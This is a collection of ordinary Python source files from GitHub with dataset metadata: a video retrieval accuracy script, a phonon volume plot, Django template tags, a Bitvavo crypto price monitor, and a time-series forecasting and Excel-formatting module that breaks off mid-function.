"file_name": "data.py", "file_ext": "py", "file_size_in_byte": 967, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.c_", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 23, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "4661505957", "text": "import sys \r\nsys.path.append(\".\") \r\nimport pickle\r\nimport torch\r\nimport json\r\nimport torch.nn.functional as F\r\n\r\ndef get_similarity(f,features):\r\n\r\n    scores = F.cosine_similarity(f,features,dim = -1)\r\n\r\n    return scores\r\n\r\nval_feature_file = \"ckpt/activitynet_ckpt/validation_video_features.pkl\"\r\ntrain_feature_file = \"ckpt/activitynet_ckpt/training_video_features.pkl\"\r\nannotation_file=\"datasets/activitynet/annotation.json\"\r\n\r\nwith open(annotation_file) as f:\r\n    labels = json.load(f)['database']\r\n\r\nis_average = True\r\n\r\nwith open(val_feature_file,\"rb\") as f:\r\n    val_data = pickle.load(f)\r\nwith open(train_feature_file,\"rb\") as f:\r\n    train_data = pickle.load(f)\r\n\r\n\r\nval_data = val_data\r\ntrain_data = train_data\r\nval_n = len(val_data)\r\ntrain_n = len(train_data)\r\n\r\nprint(val_n)\r\nprint(train_n)\r\n\r\ntrain_features = torch.zeros((train_n,512))\r\ntrain_video_names = []\r\ntrain_labels = []\r\n\r\nval_features = torch.zeros((val_n,512))\r\nval_video_names = []\r\nval_labels = []\r\n\r\nfor idx,key in enumerate(train_data.keys()):\r\n    label = labels[key]['label']\r\n    train_features[idx] = torch.from_numpy(train_data[key])\r\n    train_video_names.append(key)\r\n    train_labels.append(label)\r\n\r\nfor idx,key in enumerate(val_data.keys()):\r\n    label = labels[key]['label']\r\n    val_features[idx] = torch.from_numpy( val_data[key])\r\n    val_video_names.append(key)\r\n    val_labels.append(label)\r\n\r\ntopk = 1\r\nacc = 0.\r\ntotal = val_n\r\n\r\nval_features = F.normalize(val_features, dim=-1)\r\ntrain_features = F.normalize(train_features,dim = -1)\r\n\r\nfor idx,f in enumerate(val_features):\r\n    similarity = get_similarity(f,train_features)\r\n\r\n    _,sorted_idxs = torch.topk(similarity,k=topk)\r\n\r\n    for sorted_idx in sorted_idxs:\r\n        if val_labels[idx] == train_labels[sorted_idx]:\r\n            acc += 1\r\n            break\r\n\r\nprint(acc)\r\nprint(total)\r\nprint(\"the top{} acc is {}\".format(topk,acc / total))", "repo_name": "GeWu-Lab/cross-modal-distillation", "sub_path": "retrieval/get_retrieval_result_ac.py", "file_name": "get_retrieval_result_ac.py", "file_ext": "py", "file_size_in_byte": 1895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 10, "usage_type": "name"}, {"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 24, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.functional.normalize", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.topk", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "25760071639", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\nimport cellconstructor as CC, cellconstructor.Phonons\n\n\n\ndyn300 = CC.Phonons.Phonons(\"relaxed_300_\", nqirr=13)\ndyn400 = CC.Phonons.Phonons(\"relaxed_400_\", nqirr=13)\n\n\ntemperatures = [300, 400]\nvolumes = [\n        dyn300.structure.get_volume(),\n        dyn400.structure.get_volume()\n        ]\n\n\nplt.plot(temperatures, volumes, marker=\"o\")\nplt.xlabel(\"Temepareuter [K]\")\nplt.ylabel(r\"Primitive cell volume [$\\AA^3$]\")\nplt.tight_layout()\nplt.savefig(\"volume.png\")\nplt.show()\n", "repo_name": "materialscloud-org/QuantumESPRESSO-school-2023", "sub_path": "Day2/SSCHA/scripts/plot_volume.py", "file_name": "plot_volume.py", "file_ext": "py", "file_size_in_byte": 524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cellconstructor.Phonons.Phonons", "line_number": 8, "usage_type": "call"}, {"api_name": "cellconstructor.Phonons", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cellconstructor.Phonons.Phonons", "line_number": 9, "usage_type": "call"}, {"api_name": "cellconstructor.Phonons", "line_number": 9, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}]}
{"seq_id": "75091622025", "text": "# -*- coding: utf-8 -*-\nfrom django import template\nregister = template.Library()\nfrom configs.methods import get_site_config\nfrom siteprojects.models import Project\nfrom core.models import Page, Post\nfrom configs.forms import SubscribeForm\n\n\ndef phone(context, request):\n    return {\n    \t# 'configs': configs,\n        'request': request,\n    }\nregister.inclusion_tag('core/tags/phone.html', takes_context=True)(phone)\n\n\ndef sub_footer(context, request):\n    config = get_site_config(request)\n    project_list = Project.objects.order_by('created_at')[:3]\n    post_list = Post.objects.order_by('created_at')[:3]\n    page_list = Page.objects.order_by('created_at')[:3]\n    return {\n        'config': config,\n        'request': request,\n        'project_list': project_list,\n        'post_list': post_list,\n        'page_list': page_list\n    }\nregister.inclusion_tag('core/tags/sub_footer.html', takes_context=True)(sub_footer)\n\n\ndef home_contact_form(context, request):\n    config = get_site_config(request)\n    form = SubscribeForm()\n    return {\n        'config': config,\n        'form': form,\n        'request': request,\n    }\nregister.inclusion_tag('core/tags/home_contact_form.html', takes_context=True)(home_contact_form)\n\n\ndef search_tag(context, request):\n    return {\n    \t# 'configs': configs,\n        'request': request,\n    }\nregister.inclusion_tag('core/tags/search_tag.html', takes_context=True)(search_tag)", "repo_name": "godmen777/monolit", "sub_path": "core/templatetags/core_tags.py", "file_name": "core_tags.py", "file_ext": "py", "file_size_in_byte": 1420, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.template.Library", "line_number": 3, "usage_type": "call"}, {"api_name": "django.template", "line_number": 3, "usage_type": "name"}, {"api_name": "configs.methods.get_site_config", "line_number": 19, "usage_type": "call"}, {"api_name": "siteprojects.models.Project.objects.order_by", "line_number": 20, "usage_type": "call"}, {"api_name": "siteprojects.models.Project.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "siteprojects.models.Project", "line_number": 20, "usage_type": "name"}, {"api_name": "core.models.Post.objects.order_by", "line_number": 21, "usage_type": "call"}, {"api_name": "core.models.Post.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "core.models.Post", "line_number": 21, "usage_type": "name"}, {"api_name": "core.models.Page.objects.order_by", "line_number": 22, "usage_type": "call"}, {"api_name": "core.models.Page.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "core.models.Page", "line_number": 22, "usage_type": "name"}, {"api_name": "configs.methods.get_site_config", "line_number": 34, "usage_type": "call"}, {"api_name": "configs.forms.SubscribeForm", "line_number": 35, "usage_type": "call"}]}
{"seq_id": "22570377331", "text": "import pandas as pd\nfrom python_bitvavo_api.bitvavo import Bitvavo\nimport datetime as dt\nimport os\n\nCSV_INPUT = \"purchases.csv\"\nCSV_OUTPUT = \"analysis.csv\"\n\n\ndef get_current_rates():\n    \"\"\"\n    Get latest rates for all markets available in Bitvavo\n    :return: {market: rate (as float)}\n    \"\"\"\n    bitvavo = Bitvavo()\n    responses = bitvavo.tickerPrice({})\n    return {entry[\"market\"]: float(entry[\"price\"]) for entry in responses}\n\n\ndef get_24h_rates(market_name):\n    \"\"\"\n    Return 24h details for one market\n    :param market_name: market name, e.g. BCN-EUR\n    :return: dictionary with rate-, volume- and bid/ask information\n    \"\"\"\n    bitvavo = Bitvavo()\n    response = bitvavo.ticker24h({\"market\": market_name})\n    return response\n\n\ndef two_digits(number):\n    if pd.isnull(number):\n        number = 0\n    return round(number, 2)\n\n\ndef main():\n    in_pycharm = \"RUNNING_INSIDE_PYCHARM\" in os.environ\n    now = dt.datetime.now()\n    date = now.strftime(\"%d-%m-%Y\")\n\n    df = pd.read_csv(CSV_INPUT)\n    if df.empty:\n        print(f\"Please enter your purchases in '{CSV_INPUT}'\")\n        return\n    for index, row in df.iterrows():\n        market = f\"{row.currency}-{row.base}\"\n        rates = get_24h_rates(market)\n        df.at[index, \"opening_rate\"] = float(rates[\"open\"])\n        df.at[index, \"current_price\"] = float(rates[\"last\"])\n\n    df[\"purchase_rate\"] = (df.investment / df.number)\n    df[\"current_value\"] = (df.number * df.current_price).apply(two_digits)\n    df[\"increase\"] = (df.current_value - df.investment).apply(two_digits)\n    df[\"percentage\"] = (df.increase / df.investment * 100).apply(two_digits)\n    df[\"day_delta\"] = (100 * (df.current_price - df.opening_rate) / df.current_price).apply(two_digits)\n    df[\"date\"] = date\n    df[\"time\"] = now.strftime(\"%H:%M:%S\")\n    print(\"\\n\")\n\n    print(df[[\"currency\", \"current_value\", \"increase\", \"percentage\"]])\n    print(f\"\\nVirtual result €{df.increase.sum():.2f}\")\n\n    df.to_csv(\"%s\" % CSV_OUTPUT, index=False)\n    if not in_pycharm:\n        input(\"\\n\\nPress enter to continue\")\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "mvl64/bitvavo_wallet_monitor", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2096, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "python_bitvavo_api.bitvavo.Bitvavo", "line_number": 15, "usage_type": "call"}, {"api_name": "python_bitvavo_api.bitvavo.Bitvavo", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 32, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 38, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 42, "usage_type": "call"}]}
{"seq_id": "630917472", "text": "from typing import Any\nimport os\nimport glob\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport openpyxl\nfrom openpyxl import styles\nfrom openpyxl.reader.excel import load_workbook\nfrom openpyxl.styles import Font, Alignment, Border, Side\nfrom openpyxl.utils import get_column_letter\nfrom datetime import timedelta\nfrom sklearn.model_selection import train_test_split\nimport tensorflow as tf\nfrom keras.layers import Dense, LSTM, Dropout\nfrom keras.models import Sequential\nfrom sklearn.metrics import mean_squared_error\nfrom statsmodels.tsa.arima.model import ARIMA\nfrom statsmodels.tsa.statespace.sarimax import SARIMAX\nfrom pmdarima.arima import auto_arima\nfrom tensorflow.python.keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nimport tensorflow.python.keras.backend as K\nfrom sklearn.metrics import mean_absolute_error\n\n\ndef format_excel_file(file_path: str,\n                      sheet_name: str,\n                      first_column_width: int = 16,\n                      first_index: str = 'Pipe TTNr'):\n    wb = load_workbook(file_path)\n    ws = wb[sheet_name]\n\n    for i in range(1, ws.max_row + 1):\n        ws.row_dimensions[i].height = 20\n\n    for i in range(2, ws.max_column + 1):\n        ws.column_dimensions[ws.cell(row=1, column=i).column_letter].width = 20\n\n    for i in range(1, 2):\n        ws.column_dimensions[ws.cell(row=1, column=i).column_letter].width = first_column_width\n\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).alignment = Alignment(horizontal='center', vertical='center', wrap_text=True)\n\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).font = Font(size=10)\n\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=1).font = Font(size=12, bold=True)\n\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=1, column=j).font = Font(size=12, bold=True)\n\n    for i in range(1, ws.max_row + 1):\n        for j in range(1, ws.max_column + 1):\n            ws.cell(row=i, column=j).border = Border(left=Side(border_style='thin', color='000000'),\n                                                     right=Side(border_style='thin', color='000000'),\n                                                     top=Side(border_style='thin', color='000000'),\n                                                     bottom=Side(border_style='thin', color='000000'))\n\n    ws.cell(row=1, column=1).value = first_index\n\n    wb.save(file_path)\n\n\ndef get_best_parameters(rmse_list: dict,\n                        mae_list: dict,\n                        mape_list: dict,\n                        mase_list: dict,\n                        best_performers: dict,\n                        pipe: str,\n                        order_dict: dict,\n                        seasonal_order_dict: dict):\n    rmse_list = {k: v for k, v in sorted(rmse_list.items(), key=lambda item: item[1])}\n    mae_list = {k: v for k, v in sorted(mae_list.items(), key=lambda item: item[1])}\n    mape_list = {k: v for k, v in sorted(mape_list.items(), key=lambda item: item[1])}\n    mase_list = {k: v for k, v in sorted(mase_list.items(), key=lambda item: item[1])}\n\n    if pipe not in best_performers.keys():\n        best_performers[pipe] = {'rmse': None, 'mae': None, 'mape': None, 'mase': None,\n                                 'order': {'rmse': None, 'mae': None, 'mape': None, 'mase': None},\n                                 'seasonal_order': {'rmse': None, 'mae': None, 'mape': None, 'mase': None}}\n\n    # root mean squared error, mean absolute error, mean absolute percentage error, mean absolute-scaled error\n    # aic = akaike information criterion\n    # bic = bayesian information criterion\n\n    best_performers[pipe]['rmse'] = list(rmse_list.keys())[0]\n    best_performers[pipe]['mae'] = list(mae_list.keys())[0]\n    best_performers[pipe]['mape'] = list(mape_list.keys())[0]\n    best_performers[pipe]['mase'] = list(mase_list.keys())[0]\n    best_performers[pipe]['order']['rmse'] = order_dict[list(rmse_list.keys())[0]]\n    best_performers[pipe]['order']['mae'] = order_dict[list(mae_list.keys())[0]]\n    best_performers[pipe]['order']['mape'] = order_dict[list(mape_list.keys())[0]]\n    best_performers[pipe]['order']['mase'] = order_dict[list(mase_list.keys())[0]]\n    best_performers[pipe]['seasonal_order']['rmse'] = seasonal_order_dict[list(rmse_list.keys())[0]]\n    best_performers[pipe]['seasonal_order']['mae'] = seasonal_order_dict[list(mae_list.keys())[0]]\n    best_performers[pipe]['seasonal_order']['mape'] = seasonal_order_dict[list(mape_list.keys())[0]]\n    best_performers[pipe]['seasonal_order']['mase'] = seasonal_order_dict[list(mase_list.keys())[0]]\n\n    return best_performers\n\n\ndef create_arima_model(df: pd.DataFrame,\n                       selected_pipe: str,\n                       m: int = 14,\n                       model_type: str = \"sarimax\",\n                       max_p: int = 3,\n                       max_q: int = 3,\n                       trace: bool = True,\n                       test: str = \"adf\"):\n    # find the best parameters\n    params = auto_arima(df[selected_pipe],\n                        start_p=1, start_q=1,\n                        test=test,\n                        max_p=max_p, max_q=max_q,\n                        m=m,\n                        d=None,\n                        seasonal=True,\n                        start_P=0,\n                        D=1,\n                        trace=trace,\n                        error_action='ignore',\n                        suppress_warnings=True,\n                        stepwise=True,\n                        random_state=42,\n                        n_fits=10,\n                        n_jobs=-1)\n\n    # create the model\n    if model_type == \"arima\":\n        model = ARIMA(df[selected_pipe],\n                      order=params.order,\n                      seasonal_order=params.seasonal_order)\n    elif model_type == \"sarimax\":\n        model = SARIMAX(df[selected_pipe],\n                        order=params.order,\n                        seasonal_order=params.seasonal_order,\n                        enforce_stationarity=False,\n                        enforce_invertibility=False)\n    else:\n        raise ValueError(\"model_type must be either 'arima' or 'sarimax'\")\n\n    # fit the model\n    fitted = model.fit(disp=0)\n\n    # make predictions\n    predictions = fitted.predict(n_periods=7, alpha=0.05)\n\n    # make as pandas series\n    fc_series = pd.Series(predictions, index=df.index)\n\n    # calculate the confidence intervals\n    confidence_interval = fitted.conf_int(alpha=0.05)\n    lower_series = pd.Series(confidence_interval.iloc[:, 0], index=df.index)\n    upper_series = pd.Series(confidence_interval.iloc[:, 1], index=df.index)\n\n    # calculate error with different metrics\n    rmse = np.sqrt(mean_squared_error(df[selected_pipe], fc_series))\n    mae = mean_absolute_error(df[selected_pipe], fc_series)\n    mape = np.mean(np.abs(fc_series - df[selected_pipe]) / np.abs(df[selected_pipe])) * 100\n    mase = np.mean(np.abs(df[selected_pipe] - fc_series))\n    errors = {\"rmse\": rmse, \"mae\": mae, \"mape\": mape, \"mase\": mase}\n\n    return fc_series, lower_series, upper_series, fitted, errors, params.order, params.seasonal_order\n\n\ndef format_time_series_df(master_df: pd.DataFrame,\n                          selected_years: list) -> pd.DataFrame:\n    \"\"\"\n    Format the index column of the dataframe according to time-series guidelines\n\n    Args:\n        selected_years: The years to be used as a reference\n        master_df: The dataframe to be used as a reference\n\n    Returns:\n        A formatted dataframe (time-series) with periods as the index\n    \"\"\"\n    df = master_df.copy()\n\n    # reindex the all_in_one_T\n    if selected_years == [2022, 2023]:\n        df.index = pd.date_range(start='2022-01-06', periods=len(master_df), freq='W')\n    else:\n        # df.index = pd.date_range(start='2021-06-23', periods=len(master_df), freq='W')\n        df.index = pd.date_range(end='2023-03-05', periods=len(master_df), freq='W')\n\n    # convert the index column to datetime\n    df.index = df.index.astype('datetime64[ns]')\n\n    # convert the index column to a period\n    df.index = pd.DatetimeIndex(df.index).to_period('W')\n\n    return df\n\n\ndef root_mean_squared_error(y_true, y_pred):\n    return K.sqrt(K.mean(K.square(y_pred - y_true)))\n\n\ndef create_lstm_model(train: pd.Series,\n                      test: pd.Series,\n                      activation: str = 'relu',\n                      epoch: int = 100,\n                      unit: tuple[int, int] = (50, 0),\n                      drop_out: float = 0.2,\n                      learning_rate: float = 0.01,\n                      min_learning_rate: float = 0.0001,\n                      momentum: tuple[float, float] = (0.9, 0.999),\n                      factor: float = 0.2,\n                      patience: int = 1,\n                      reduce: bool = False,\n                      optimizer: str = \"adam\") -> Any:\n    # reshape the copy of the data\n    train_data = train.copy().values.reshape(-1, 1)\n    test_data = test.copy().values.reshape(-1, 1)\n\n    # set the random seed\n    tf.keras.utils.set_random_seed(42)\n\n    # create the model\n    model = Sequential()\n    model.add(LSTM(unit[0] - unit[1], activation=activation, return_sequences=False, input_shape=(None, 1)))\n    model.add(Dropout(rate=drop_out))\n    model.add(Dense(1, activation=activation))\n\n    if optimizer == \"adam\":\n        optimizer = tf.keras.optimizers.Adam(\n            learning_rate=learning_rate, beta_1=momentum[0],\n            beta_2=momentum[1],\n            amsgrad=False)\n    elif optimizer == \"sgd\":\n        optimizer = tf.keras.optimizers.SGD(learning_rate=learning_rate, momentum=momentum[1], nesterov=True)\n\n    model.compile(optimizer=optimizer, loss=root_mean_squared_error)\n\n    reduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=factor, patience=patience, min_lr=min_learning_rate)\n    mc = ModelCheckpoint('best_model.h5', monitor='val_loss', mode='min', verbose=0, save_best_only=True)\n\n    # fit the model\n    if reduce:\n        es = EarlyStopping(monitor='val_loss', mode='auto', verbose=1, patience=patience + 3)\n        history = model.fit(train_data, train_data, epochs=epoch, verbose=0,\n                            validation_data=(test_data, test_data), shuffle=False, callbacks=[es, mc, reduce_lr])\n    else:\n        es = EarlyStopping(monitor='val_loss', mode='auto', verbose=1, patience=patience)\n        history = model.fit(train_data, train_data, epochs=epoch, verbose=0,\n                            validation_data=(test_data, test_data), shuffle=False, callbacks=[es, mc])\n\n    # make predictions\n    predictions = model.predict(test_data, verbose=0)\n\n    # calculate the rmse\n    rmse = np.sqrt(mean_squared_error(test_data, predictions))\n\n    # calculate the loss\n    train_loss = history.history['loss']\n    val_loss = history.history['val_loss']\n\n    return predictions, rmse, test_data, train_loss, val_loss, model, es.stopped_epoch\n\n\ndef select_pipe_and_split_data(data: pd.DataFrame,\n                               pipe_index: int = 0,\n                               test_size: float = 0.2,\n                               split_index: int = -9,\n                               is_sklearn: bool = False) -> tuple[Any, pd.Series, pd.Series]:\n    \"\"\"\n    Selects the pipe number and splits the data into train and test.\n\n    Args:\n        data: The dataframe to be split.\n        pipe_index: The index of the pipe number.\n        test_size: The size of the test data.\n        split_index: The index to split the data.\n        is_sklearn: Whether to use sklearn to split the data.\n\n    Returns:\n        The pipe number, the train data, and the test data.\n    \"\"\"\n    # get the pipe number\n    pipe_number = data.columns[pipe_index]\n\n    # get the data for the given pipe number\n    pipe_data = data[pipe_number]\n\n    if is_sklearn:\n        # split the data into train and test using sklearn\n        train, test = train_test_split(pipe_data, test_size=test_size, shuffle=False, random_state=42)\n    else:\n        # split the data into train and test without sklearn\n        train, test = pipe_data[:split_index], pipe_data[split_index:]\n\n    return pipe_number, train, test\n\n\ndef create_transposed_and_unique_df(master_df: pd.DataFrame,\n                                    sheet_names: list[str],\n                                    file_dir) -> tuple[pd.DataFrame, pd.DataFrame]:\n    \"\"\"\n    Transpose the dataframe and create a multi-level index dataframe\n    Drop unnecessary columns and rows and write the dataframe to an Excel file\n\n    Args:\n        master_df: The dataframe to be transposed\n        sheet_names: The names of the sheets\n        file_dir: The directory of the Excel file\n\n    Returns:\n        A tuple of the dataframe and the multi-level index dataframe (transposed)\n    \"\"\"\n    # transpose the dataframe\n    master_df_T = master_df.copy().T\n    master_df_T.columns, master_df_T.loc[\"X\", :] = master_df_T.loc[[\"X\"], :].values[0], master_df_T.columns\n\n    # create multilevel columns\n    exp_df = pd.DataFrame(columns=pd.MultiIndex.from_product([master_df_T.columns, [\"Pipe TTNr\", \"Total\"]]).unique())\n\n    # add the data to the multilevel columns\n    for i in range(len(master_df_T)):\n        exp_df.loc[i, :] = master_df_T.iloc[i, :].values\n\n    # drop the unnecessary index\n    exp_df = exp_df.copy().drop(index=0, inplace=False)\n\n    write_to_excel(file_dir=file_dir, df=exp_df, sheet_names=sheet_names)\n\n    # create multi-level index\n    three_level_columns = create_three_level_index(df=exp_df)\n\n    # # set the multi-level index\n    exp_df_th = exp_df.copy()\n    exp_df_th.columns = pd.MultiIndex.from_tuples(three_level_columns)\n\n    return exp_df, exp_df_th\n\n\ndef write_to_excel(file_dir: str,\n                   df: pd.DataFrame,\n                   sheet_names=None) -> None:\n    \"\"\"\n    Writes two versions of the dataframe to an Excel file (one transposed and one not)\n\n    Args:\n        file_dir: The directory of the Excel file\n        df: The dataframe to be written\n        sheet_names: The names of the sheets\n    \"\"\"\n    if sheet_names is None:\n        sheet_names = [\"General\", \"Experimental\"]\n    with pd.ExcelWriter(file_dir, engine=\"openpyxl\", mode=\"w\") as writer:\n        df.to_excel(writer, sheet_name=sheet_names[0])\n        df.T.to_excel(writer, sheet_name=sheet_names[1])\n\n\ndef create_unique_df(df: pd.DataFrame) -> pd.DataFrame:\n    \"\"\"\n    Transpose the dataframe and get the unique values of the Pipe TTNr column\n\n    Args:\n        df: The dataframe to be transposed\n\n    Returns:\n        A dataframe with the unique values of the Pipe TTNr column\n    \"\"\"\n\n    vertical_df = pd.DataFrame()\n\n    for i in range(0, len(df.columns), 2):\n        temp = df.copy().iloc[:, i:i + 2]\n        temp.columns = ['Pipe TTNr', 'Total']\n        vertical_df = pd.concat([vertical_df, temp], axis=0, ignore_index=True)\n\n    # get the rows with unique pipes\n    unique_pipe_rows = vertical_df[\"Pipe TTNr\"].unique()\n\n    # add the total column for the rows with same Pipe TTNr\n    for i in range(len(unique_pipe_rows)):\n        vertical_df.loc[vertical_df[\"Pipe TTNr\"] == unique_pipe_rows[i], \"Total\"] = \\\n            vertical_df.loc[vertical_df[\"Pipe TTNr\"] == unique_pipe_rows[i], \"Total\"].sum()\n\n    # drop duplicate Pipe TTNrs\n    final_df = vertical_df.drop_duplicates(subset=\"Pipe TTNr\",\n                                           keep=\"first\",\n                                           inplace=False,\n                                           ignore_index=True).sort_values(by=\"Total\", ascending=False).copy()\n    final_df = final_df.reset_index(drop=True, inplace=False).copy()\n\n    final_df['Pipe TTNr'] = final_df['Pipe TTNr'].astype(str)\n\n    return final_df\n\n\ndef get_file_indexes(file_dict: dict) -> dict:\n    \"\"\"\n    Get the file indexes from the dictionary\n\n    Args:\n        file_dict: A dictionary with the year as the key and the files as the value\n\n    Returns:\n        A list of the file indexes\n    \"\"\"\n    available_file_indexes = [{a: [c.split(\"_\")[0][2:] for c in sorted(b)]} for a, b in file_dict.items()]\n    available_file_indexes = {k: v for d in available_file_indexes for k, v in d.items()}\n\n    return available_file_indexes\n\n\ndef create_file_dict(file_dict: dict,\n                     years=None) -> dict:\n    \"\"\"\n    Get the files from the given years (filtering)\n\n    Args:\n        file_dict: A dictionary with the year as the key and the files as the value\n        years: The years to be filtered\n\n    Returns:\n        A dictionary with the year as the key and the files as the value\n    Args:\n    \"\"\"\n    # sort the file_dict by the file name number\n    if years is None:\n        years = [2022, 2023]\n    for year, files in file_dict.items():\n        file_dict[year] = sorted(files, key=lambda x: int(x.split(\"_\")[0][2:]))\n\n    file_in_given_years = {}\n\n    # get the files from the given years\n    if len(years) > 1:\n        file_in_given_years = {year: file_dict[year] for year in years}\n    elif len(years) == 1:\n        file_in_given_years = {years[0]: file_dict[years[0]]}\n    elif len(years) == 0:\n        raise ValueError(\"The years list is empty\")\n\n    return file_in_given_years\n\n\ndef combine_all_files_within_threshold(file_dict: dict,\n                                       master_dir: str,\n                                       threshold_df: pd.DataFrame) -> pd.DataFrame:\n    \"\"\"\n    Combine all files within the given threshold into a single dataframe\n\n    Args:\n        file_dict: A dictionary with the year as the key and the files as the value\n        master_dir: The master directory of the files\n        threshold_df: A dataframe with the pipes that are within the threshold\n\n    Returns:\n        A dataframe with all the files within the threshold\n    \"\"\"\n    all_in_one = pd.DataFrame()\n\n    for year, plan in file_dict.items():\n        for file in plan:\n            df = pd.read_excel(f'{master_dir}/{str(year)}/{file}', sheet_name='Pivot')\n            df = df.fillna(0)\n            df.iloc[:, 3:26] = df.iloc[:, 3:26].apply(pd.to_numeric, errors='coerce')\n\n            df['Total'] = df.iloc[:, 3:26].sum(axis=1)\n            df.loc[\"Hat\", \"Total\"] = 0\n            df = df.sort_values(by=['Total'], inplace=False, ascending=False, ignore_index=True).copy()\n\n            temp = df.iloc[:, [1, -1]].copy()\n            index_name = temp.columns[0].split(\" \")[3]\n            temp.index.name = index_name\n\n            temp.columns = ['Pipe TTNr', temp.columns[-1]]\n\n            temp['Pipe TTNr'] = temp['Pipe TTNr'].astype(str)\n\n            # drop the rows with NaN or non-numeric values\n            temp = temp.loc[temp[\"Pipe TTNr\"].apply(lambda x: x.isnumeric()), :].copy()\n\n            temp['Pipe TTNr'] = temp['Pipe TTNr'].astype(int)\n\n            # filter the pipes that are in the 70\n            temp = temp.loc[temp[\"Pipe TTNr\"].isin(threshold_df)].copy()\n\n            temp = temp.groupby('Pipe TTNr').sum().copy()\n\n            temp.reset_index(inplace=True)\n\n            # add another column level to aa\n            try:\n                temp.columns = pd.MultiIndex.from_product(\n                    [[pd.to_datetime(index_name, format='%d.%m.%Y').date()], temp.columns])\n            except ValueError:\n                temp.columns = pd.MultiIndex.from_product(\n                    [[pd.to_datetime(index_name, format='%Y-%m-%d').date() + timedelta(days=1)], temp.columns])\n\n            all_in_one = pd.concat([all_in_one, temp], axis=1, ignore_index=False)\n\n    return all_in_one\n\n\ndef convert_multi_to_single_df(df: pd.DataFrame) -> pd.DataFrame:\n    \"\"\"\n    Converts a multi-index dataframe to a single index dataframe\n\n    Args:\n        df: The dataframe to be converted\n\n    Returns:\n        A single index dataframe\n    \"\"\"\n    df = df.reset_index(inplace=False).copy()\n    